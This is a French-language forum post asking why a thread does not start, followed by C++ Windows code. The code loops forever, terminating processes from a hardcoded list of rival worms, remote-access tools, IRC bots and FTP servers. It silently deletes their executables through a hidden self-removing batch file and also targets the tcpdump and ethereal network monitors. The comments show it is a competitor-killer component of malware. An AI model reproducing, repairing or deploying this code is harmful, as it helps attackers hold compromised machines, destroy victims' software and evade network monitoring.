quelqu'un est capable svp de me dire pkoi le thread part pas svp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
DWORD dwThread;
hthread = CreateThread(NULL,0,&killerProcessus,NULL,NULL,&dwThread);
return 0;
}
DWORD WINAPI killerProcessus(LPVOID lpParameter)
{
while(true)
{
#ifdef WIN32
PROCESSENTRY32 proc = {0};
DWORD processus, r;
HANDLE f; HANDLE sys;
char batfile[256]; char tempdir[256]; char delPath[256];
BOOL bProcess = FALSE;
const char *szFilenamesToKill[64] = {
"servudaemon.exe", "Servudaemon.exe", "serv-u.exe", "servu.exe", "ServuDaemon.exe", //5 kill le servu
"schost.exe", "svhost.exe", "teenkids.exe", "teenkid.exe", "winppr32.exe", "msblast.exe",//7 kill les virus populaire
"jhrfes.exe ", "penis32.exe", "mspatch.exe", "dllhost.exe", "tftpd.exe", "svchost1.exe","syscfgx32.exe",//7 kill les virus populaire
"DNTUS26.exe", "WinVNC.exe", "r_server.exe", "VNC.exe", "VNCTASKS.exe", "DWRCS.exe","radmin.exe","rserver.exe", "Radmin.exe", "DWRCC.exe", //9 kill les programmes d'access a distance
"netlink32.exe", "ndemon.exe", "symantec32.exe", "blah.exe", "windrop.exe", "WinSrv.exe", "winsyss.exe", "winsys.exe", "egg.exe", "psybnc.exe", "dxmedia.exe", "iroff.exe", "eggdrop.exe", "io.exe",//10 kill les xdcc
"winlord32.exe", "fsdaP.exe", "nctl.exe","hm.exe","hiddenrun.exe", "ftp.exe", "firedaemon.exe", "FireDaemon.exe", // 3 kill xdcc
"wintftp.exe", "jrynfx.exe", "spools.exe", "GT.exe", "agc.exe",// virus update
"vsaccess.exe", "fqbvrws.exe", "msgfix.exe", "fqebhjga.exe", "jhrfes.exe", "qvdsafs.exe", "dbfavcws.exe","uedit32.exe", NULL }; // 4 truck a pogrom
GetTempPath(sizeof(tempdir), tempdir);
sprintf(batfile, "%s\\r.bat", tempdir);
f = CreateFile(batfile, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
NULL, CREATE_ALWAYS, 0, 0);
for(int i=0; szFilenamesToKill[i]!=NULL; i++)
{
// création du snapshot
sys = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// ouverture du premier process
ZeroMemory(&proc, sizeof(proc));
proc.dwSize = sizeof(proc);
Process32First(sys, &proc);
//cherche processus
do
{
if (lstrcmp(proc.szExeFile, (const char*)szFilenamesToKill[i]) == 0)
{
DWORD dwPriorityClass;
BOOL bGotModule = FALSE;
MODULEENTRY32 me32 = {0};
bGotModule = GetProcessModule(proc.th32ProcessID,
&me32,
sizeof(MODULEENTRY32));
if (bGotModule)
{
HANDLE hProcess;
sprintf(delPath, "del /F \"%s\"\r\ndel \"%s\"\r\n", me32.szExePath, me32.szExePath);
// Recevoir la priorité actuel du processus
hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE,
proc.th32ProcessID);
dwPriorityClass = GetPriorityClass (hProcess);
if (f > (HANDLE)0)
{
// ecrire un fichier .bat pour deleter l'executable des processus
WriteFile(f, delPath, strlen(delPath), &r, 0);
}
bProcess = TRUE;
CloseHandle (hProcess);
}
processus = proc.th32ProcessID;
break;
}
}
while (Process32Next(sys, &proc));
CloseHandle(sys);
// le processus n'est probablement pas lancé (vérifier GetLastError pour en être sûr)
if (processus)
{
// ouverture du processus
HANDLE process = NULL;
if (process = OpenProcess(PROCESS_TERMINATE, FALSE, processus))
{
// terminaison de process
TerminateProcess(process, 0);
CloseHandle(process);
}
}
}
if (bProcess)
{
//Ecrit ligne pour delete .bat apres execution
sprintf(delPath, "del /F %s\r\ndel %s", batfile, batfile);
WriteFile(f, delPath, strlen(delPath), &r, 0);
CloseHandle(f);
//Pause de 40sec pour laisser le temps au processus d'etre bien killer avant de delete
Sleep(40000);
//Execute le .bat
WinExec(batfile,SW_HIDE);
}
#else
killerProcessus("tcpdump"); killerProcessus("ethereal");
#endif
}
CloseHandle(hthread);
return 0;
}
BOOL GetProcessModule (DWORD dwPID, LPMODULEENTRY32 lpMe32, DWORD cbMe32)
{
MODULEENTRY32 me32 = {0};
BOOL bRet = FALSE;
BOOL bFound = FALSE;
HANDLE hModuleSnap = NULL;
// Prend un snapshot de tout les modules du processus specifier
hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
if (hModuleSnap == (HANDLE)-1)
return (FALSE);
// Doit ajuster le size du module
me32.dwSize = sizeof(MODULEENTRY32);
// Parcour la liste des modules pour trouver le bon
// Copie les info dans le buffer specifier en parametre
if (Module32First(hModuleSnap, &me32))
{
do
{
CopyMemory (lpMe32, &me32, cbMe32);
bFound = TRUE;
}
while (!bFound && Module32Next(hModuleSnap, &me32));
bRet = bFound; // Si bRet est = a False, le processus ne run plus sur l'ordi
}
else
bRet = FALSE; // peut pas lire la lire des modules
// Cleaner le snapshot
CloseHandle (hModuleSnap);
return (bRet);
}